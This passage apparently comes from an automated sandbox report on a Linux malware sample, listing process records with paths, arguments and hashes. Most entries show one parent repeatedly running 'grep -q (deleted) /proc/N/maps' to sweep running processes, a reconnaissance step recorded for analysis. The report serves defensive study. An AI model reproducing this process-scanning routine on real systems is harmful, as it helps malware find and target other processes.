Arguments:	grep -q (deleted) /proc/78/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7358, Parent PID: 6240

General

Start time (UTC):	18:18:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7358, Parent PID: 6240

General

Start time (UTC):	18:18:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/785/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7359, Parent PID: 6240

General

Start time (UTC):	18:18:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7359, Parent PID: 6240

General

Start time (UTC):	18:18:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/788/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7360, Parent PID: 6240

General

Start time (UTC):	18:18:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7360, Parent PID: 6240

General

Start time (UTC):	18:18:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/789/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7361, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7361, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/79/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7362, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7362, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/793/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7363, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7363, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/796/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7364, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7364, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/797/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7365, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7365, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/799/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7366, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7366, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/80/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7367, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7367, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/800/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7368, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7368, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/801/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7369, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7369, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/81/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7370, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7370, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/82/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7371, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7371, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/83/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7372, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7372, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/84/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7373, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7373, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/840/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7374, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7374, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/847/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7375, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7375, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/85/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7376, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7376, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/88/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7377, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7377, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/884/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7378, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7378, Parent PID: 6240

General

Start time (UTC):	18:18:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/89/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7379, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7379, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/896/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7380, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7380, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/9/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7381, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7381, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/904/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7384, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7384, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/91/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7385, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7385, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/910/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7386, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7386, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/912/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7387, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7387, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/918/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7388, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7388, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/92/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7389, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7389, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/93/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7390, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7390, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/936/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7391, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7391, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/94/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7392, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7392, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/95/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7393, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7393, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/96/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7394, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7394, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/97/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7395, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7395, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/98/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7396, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7396, Parent PID: 6240

General

Start time (UTC):	18:18:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/99/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: gnome-session-binary PID: 6305, Parent PID: 1477

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 6305, Parent PID: 1477

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/gnome-shell
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gnome-shell PID: 6305, Parent PID: 1477

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/gnome-shell
Arguments:	/usr/bin/gnome-shell
File size:	23168 bytes
MD5 hash:	da7a257239677622fe4b3a65972c9e87

Chronological Activities

Analysis Process: gnome-shell PID: 6796, Parent PID: 6305

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/usr/bin/gnome-shell
Arguments:	-
File size:	23168 bytes
MD5 hash:	da7a257239677622fe4b3a65972c9e87

Chronological Activities

Analysis Process: ibus-daemon PID: 6796, Parent PID: 6305

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	ibus-daemon --panel disable --xim
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Chronological Activities

Analysis Process: ibus-daemon PID: 6813, Parent PID: 6796

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Chronological Activities

Analysis Process: ibus-memconf PID: 6813, Parent PID: 6796

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-memconf
Arguments:	/usr/libexec/ibus-memconf
File size:	22904 bytes
MD5 hash:	523e939905910d06598e66385761a822

Chronological Activities

Analysis Process: ibus-daemon PID: 6815, Parent PID: 6796

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Chronological Activities

Analysis Process: ibus-daemon PID: 6816, Parent PID: 6815

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Chronological Activities

Analysis Process: ibus-x11 PID: 6816, Parent PID: 1

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-x11
Arguments:	/usr/libexec/ibus-x11 --kill-daemon
File size:	100352 bytes
MD5 hash:	2aa1e54666191243814c2733d6992dbd

Chronological Activities

Analysis Process: ibus-daemon PID: 7161, Parent PID: 6796

General

Start time (UTC):	18:18:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Analysis Process: ibus-engine-simple PID: 7161, Parent PID: 6796

General

Start time (UTC):	18:18:06
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-engine-simple
Arguments:	/usr/libexec/ibus-engine-simple
File size:	14712 bytes
MD5 hash:	0238866d5e8802a0ce1b1b9af8cb1376

Analysis Process: gnome-session-binary PID: 6333, Parent PID: 1477

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Analysis Process: sh PID: 6333, Parent PID: 1477

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-media-keys
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: gsd-media-keys PID: 6333, Parent PID: 1477

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gsd-media-keys
Arguments:	/usr/libexec/gsd-media-keys
File size:	232936 bytes
MD5 hash:	a425448c135afb4b8bfd79cc0b6b74da

Analysis Process: systemd PID: 6371, Parent PID: 1

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: systemd-hostnamed PID: 6371, Parent PID: 1

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Analysis Process: xfce4-session PID: 6539, Parent PID: 1900

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6539, Parent PID: 1900

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: xfce4-session PID: 6545, Parent PID: 1900

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfce4-panel PID: 6545, Parent PID: 1900

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	xfce4-panel --display :1.0 --sm-client-id 2b4cc744e-8b9d-436f-9a4a-312b40faa2ec
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: xfce4-panel PID: 6798, Parent PID: 6545

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6798, Parent PID: 6545

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 8388616 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6800, Parent PID: 6545

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6800, Parent PID: 6545

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 8388617 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6802, Parent PID: 6545

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6802, Parent PID: 6545

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 8388618 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6803, Parent PID: 6545

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6803, Parent PID: 6545

General

Start time (UTC):	18:17:33
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
